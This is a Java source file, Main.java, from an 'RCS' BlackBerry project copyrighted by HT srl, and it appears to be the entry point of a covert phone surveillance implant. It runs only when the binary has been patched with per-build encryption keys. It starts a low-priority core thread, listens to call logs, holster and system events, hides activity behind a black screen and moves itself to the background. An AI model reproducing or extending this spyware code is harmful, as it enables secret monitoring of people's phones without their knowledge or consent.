RCSBlackBerry/src/blackberry/Main.java
//#preprocess
/* *************************************************
* Copyright (c) 2010 - 2010
* HT srl, All rights reserved.
* Project : RCS, RCSBlackBerry
* Package : blackberry
* File : Main.java
* Created : 28-apr-2010
* *************************************************/
package blackberry;
import net.rim.blackberry.api.phone.phonelogs.PhoneLogs;
import net.rim.device.api.system.Alert;
import net.rim.device.api.system.ApplicationManager;
import net.rim.device.api.ui.Screen;
import net.rim.device.api.ui.UiApplication;
import blackberry.config.Cfg;
import blackberry.config.Keys;
import blackberry.crypto.Encryption;
import blackberry.debug.Debug;
import blackberry.debug.DebugLevel;
import blackberry.utils.Utils;
/**
* The Class Main.
*/
public class Main extends UiApplication {
//#ifdef DEBUG
private final Debug debug;
//#endif
AppListener appListener;
private boolean acceptsForeground;
private int foregroundId;
private BlackScreen blackScreen;
private static LocalScreen localScreen;
private static Main instance;
//private boolean foreground;
/**
* The main method.
*
* @param args
* the arguments
*/
public static void main(final String[] args) {
//#ifdef TEST
System.out.println("Test");
new MainTest();
//#else
mainReal();
//#endif
}
public static void mainReal() {
final Keys keys = Encryption.getKeys();
final boolean binaryPatched = keys.hasBeenBinaryPatched();
if (binaryPatched) {
instance = new Main();
Status.self().setMain(instance);
instance.enterEventDispatcher();
} else {
//#ifdef DEBUG
System.out.println("Not binary patched, bailing out!");
//#endif
}
}
public static Main getInstance() {
return Status.self().getMain();
}
/**
* Instantiates a new main.
*/
public Main() {
localScreen = new LocalScreen(this);
pushScreen(localScreen);
final Core core = Core.getInstance();
Thread.currentThread().setPriority(Thread.MIN_PRIORITY);
appListener = AppListener.getInstance();
//#ifdef DEBUG
debug = new Debug("Main", DebugLevel.VERBOSE);
debug.info("RCSBlackBerry " + Version.VERSION);
debug.info("Message encryption: " + Messages.getString("1.0"));
debug.info("BuildID = " + new String(Keys.getInstance().getBuildID()));
debug.info("Key Conf = " + Utils.byteArrayToHex(Keys.getInstance().getConfKey()));
debug.info("Key Log = " + Utils.byteArrayToHex(Keys.getInstance().getLogKey()));
debug.info("Key Proto = " + Utils.byteArrayToHex(Keys.getInstance().getProtoKey()));
debug.info("Demo = " + Utils.byteArrayToHex(Keys.getInstance().getDemo()));
debug.info("Random = " + Utils.byteArrayToHex(Keys.getInstance().getRandomSeed()));
//#endif
final Thread coreThread = new Thread(core);
coreThread.setPriority(Thread.MIN_PRIORITY);
coreThread.start();
startListeners();
if (Keys.getInstance().isDemo()) {
//#ifdef DEBUG
debug.warn("Main: DEMO mode");
//#endif
Status.self().setDemo(true);
} else {
//#ifdef DEBUG
debug.trace("Main: no DEMO");
//#endif
Status.self().setDemo(false);
}
//#ifdef DEBUG
Status.self().setDebug(true);
//#endif
if (Status.self().isDemo()) {
short[] fire = { 1400, 15, 1350, 15, 1320, 20, 1300, 20, 1250, 25,
1200, 35, 1200, 15, 1250, 15, 1300, 20, 1320, 20, 1350, 25,
1400, 35 };
try {
Alert.startAudio(fire, 100);
} catch (Exception e) {
}
}
}
/**
*
*/
public void startListeners() {
//#ifdef DEBUG
debug.info("Starting Listeners");
//#endif
//Phone.addPhoneListener(appListener);
addHolsterListener(appListener);
addSystemListener(appListener);
//addRadioListener(appListener);
//MemoryCleanerDaemon.addListener(appListener);
//addRadioListener(appListener);
PhoneLogs.addListener(appListener);
Task.getInstance().resumeApplicationTimer();
//goBackground();
}
/**
*
*/
public void stopListeners() {
//#ifdef DEBUG
debug.info("Stopping Listeners");
//#endif
removeHolsterListener(appListener);
removeSystemListener(appListener);
removeRadioListener(appListener);
//MemoryCleanerDaemon.removeListener(appListener);
//Phone.removePhoneListener(appListener);
PhoneLogs.removeListener(appListener);
Task.getInstance().suspendApplicationTimer();
//goBackground();
}
public boolean acceptsForeground() {
return acceptsForeground;
}
public void pushBlack() {
//#ifdef DEBUG
debug.trace("pushBlack");
//#endif
Thread thread = new Thread(new Runnable() {
public void run() {
ApplicationManager manager = ApplicationManager
.getApplicationManager();
foregroundId = manager.getForegroundProcessId();
blackScreen = new BlackScreen();
acceptsForeground = true;
synchronized (getAppEventLock()) {
pushScreen(blackScreen);
}
requestForeground();
}
});
thread.start();
}
public void popBlack() {
//#ifdef DEBUG
debug.trace("popBlack");
//#endif
Thread thread = new Thread(new Runnable() {
public void run() {
requestBackground();
acceptsForeground = false;
synchronized (getAppEventLock()) {
//#ifdef DEBUG
debug.trace("popBlack: " + getActiveScreen());
//#endif
Screen screen = getActiveScreen();
if (screen instanceof BlackScreen) {
popScreen(blackScreen);
}
}
ApplicationManager.getApplicationManager().requestForeground(
foregroundId);
};
});
thread.start();
}
public void activate() {
//#ifdef DEBUG
debug.trace("activate");
//#endif
}
public void deactivate() {
//#ifdef DEBUG
debug.trace("deactivate");
//#endif
}
public void goBackground() {
//#ifdef DEBUG
debug.trace("goBackground");
//#endif
if (!Cfg.IS_UI) {
return;
}
invokeLater(new Runnable() {
public void run() {
boolean foreground = false;
UiApplication.getUiApplication().requestBackground();
foreground = UiApplication.getUiApplication().isForeground();
//#ifdef DEBUG
debug.trace("Main foreground: " + foreground);
//#endif
}
});
}
public LocalScreen getLocalScreen() {
return localScreen;
}
}